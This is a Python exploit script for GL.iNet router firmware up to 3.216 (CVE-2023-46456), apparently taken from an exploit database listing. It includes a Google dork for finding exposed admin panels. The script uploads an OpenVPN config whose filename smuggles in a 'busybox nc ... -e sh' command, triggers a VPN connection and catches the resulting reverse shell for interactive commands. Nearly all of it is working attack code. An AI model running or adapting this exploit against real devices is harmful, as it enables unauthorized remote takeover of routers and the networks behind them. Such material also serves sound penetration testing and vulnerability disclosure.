1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 |
#!/usr/bin/env python3 # Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client # Google Dork: intitle:"GL.iNet Admin Panel" # Date: XX/11/2023 # Exploit Author: Michele 'cyberaz0r' Di Bonaventura # Vendor Homepage: https://www.gli-net.com # Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar # Version: 3.216 # Tested on: GL.iNet AR300M # CVE: CVE-2023-46456 import socket import requests import readline from time import sleep from random import randint from sys import stdout, argv from threading import Thread requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) def generate_random_string(): return ''.join([chr(randint(97, 122)) for x in range(6)]) def add_config_file(url, auth_token, payload): data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')} try: r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() except requests.exceptions.RequestException: print('[X] Error while adding configuration file') return False return True def verify_config_file(url, auth_token, payload): try: r = requests.get(url, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() if not r.json()['passed'] and payload not in r.json()['passed']: return False except requests.exceptions.RequestException: print('[X] Error while verifying the upload of configuration file') return False return True def add_client(url, auth_token): postdata = {'description':'RCE_client_{}'.format(generate_random_string())} try: r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() except requests.exceptions.RequestException: print('[X] Error while adding OpenVPN client') return False return True def get_client_id(url, auth_token, payload): try: r = requests.get(url, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() for conn in r.json()['clients']: if conn['defaultserver'] == payload: return conn['id'] print('[X] Error: could not find client ID') return False except requests.exceptions.RequestException: print('[X] Error while retrieving added OpenVPN client ID') return False def connect_vpn(url, auth_token, client_id): sleep(0.25) postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'} r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False) def cleanup(url, auth_token, client_id): try: r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False) r.raise_for_status() except requests.exceptions.RequestException: print('[X] Error while cleaning up OpenVPN client') return False return True def get_command_response(s): res = '' while True: try: resp = s.recv(1).decode('utf-8') res += resp except UnicodeDecodeError: pass except socket.timeout: break return res def revshell_listen(revshell_ip, revshell_port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.bind((revshell_ip, int(revshell_port))) s.listen(1) except Exception as e: print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__)) exit(1) try: clsock, claddr = s.accept() clsock.settimeout(2) if clsock: print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1])) res = '' while True: command = input('$ ') clsock.sendall('{}\n'.format(command).encode('utf-8')) stdout.write(get_command_response(clsock)) except socket.timeout: print('[-] No connection received in 5 seconds, probably server is not vulnerable...') s.close() except KeyboardInterrupt: print('\n[*] Closing connection') try: clsock.close() except socket.error: pass except NameError: pass s.close() def main(base_url, auth_token, revshell_ip, revshell_port): print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit') payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port) print('[+] Filename payload: "{}"'.format(payload)) print('[*] Uploading crafted OpenVPN config file') if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload): exit(1) if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload): exit(1) print('[+] File uploaded successfully') print('[*] Adding OpenVPN client') if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token): exit(1) client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload) if not client_id: exit(1) print('[+] Client ID: ' + client_id) print('[*] Triggering connection to created OpenVPN client') Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start() print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port)) revshell_listen(revshell_ip, revshell_port) print('[*] Clean-up by removing OpenVPN connection') if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id): exit(1) print('[+] Done') if __name__ == '__main__': if len(argv) < 5: print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0])) exit(1) main(argv[1], argv[2], argv[3], argv[4]) |